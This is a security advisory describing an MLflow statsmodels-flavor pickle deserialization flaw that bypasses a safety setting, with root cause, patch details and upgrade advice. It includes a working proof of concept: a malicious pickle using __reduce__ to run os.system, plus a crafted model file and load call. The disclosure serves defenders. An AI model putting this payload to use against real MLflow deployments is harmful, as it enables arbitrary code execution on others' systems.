mlflow statsmodels flavor MLFLOW_ALLOW_PICKLE_DESERIALIZATION bypass RCE
A crafted MLflow model artifact using the statsmodels flavor can trigger arbitrary code execution on load, even when the MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control is enabled, because…

The problem
MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a safety switch to block pickle.load() during model loading, in response to a family of earlier RCE advisories. When set to False, operators expect all pickle paths to be blocked.
The mlflow.statsmodels flavor omits this check entirely. Its _load_model() calls statsmodels.iolib.api.load_pickle(), which is a direct wrapper around pickle.load(), with no guard in place. Any process that calls mlflow.pyfunc.load_model() against a malicious model artifact is therefore vulnerable even when the operator believes the control is active.
Affected versions: >= 2.1.0, < 3.15.0.
Proof of concept
A working proof-of-concept for this issue in mlflow, with the exact payload below.
# 1. Generate the malicious pickle
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
with open("model.pkl", "wb") as f:
pickle.dump(RCE(), f)
# 2. Place alongside a crafted MLmodel file:
# ---
# flavors:
# python_function:
# loader_module: mlflow.statsmodels
# data: model.pkl
# statsmodels:
# data: model.pkl
# statsmodels_version: 0.14.0
# ---
# 3. Upload both files to any artifact store path and load:
import os, mlflow
os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "False"
mlflow.pyfunc.load_model("models:/MaliciousModel/1") # executes RCE.__reduce__mlflow.pyfunc.load_model() dispatches to each flavor's _load_pyfunc() via importlib. The sklearn flavor (the reference implementation) gates pickle.load() behind an MLFLOW_ALLOW_PICKLE_DESERIALIZATION check and raises MlflowException when it is False. The statsmodels _load_model() has no such gate: it calls smio.load_pickle(path) unconditionally, and _load_pyfunc() calls _load_model() unconditionally.
The patch (PR #24686, commit 38615289) adds the identical guard block to mlflow/statsmodels/__init__.py _load_model() before the smio.load_pickle() call, matching the pattern already used in the sklearn, pyfunc, and PickleEvaluationArtifact paths. Root cause is CWE-502: incomplete propagation of a security control across flavor implementations.
The fix
Upgrade mlflow to 3.15.0 or later. The fix adds the missing MLFLOW_ALLOW_PICKLE_DESERIALIZATION guard to mlflow/statsmodels/__init__.py _load_model(), raising MlflowException before any pickle.load() call when the env var is False and the runtime is not a trusted Databricks environment.
If you cannot upgrade immediately, set MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False AND restrict artifact store write access so untrusted parties cannot upload model files.
Reported by B-Step62.
Related research
- critical · 9.3CVE-2026-64849CVE-2026-64849: MLflow Unauthenticated Full-Read SSRF via Webhook HTTP Redirect
- high · 7.1CVE-2026-69148CVE-2026-69148: MLflow Missing Authorization on CreateModelVersion run_id
- high · 7.8MONAI algo_from_pickle() Unsafe Pickle Deserialization RCE (Incomplete Fix)
- high · 7.8MONAI NumpyReader Unsafe Deserialization via allow_pickle=True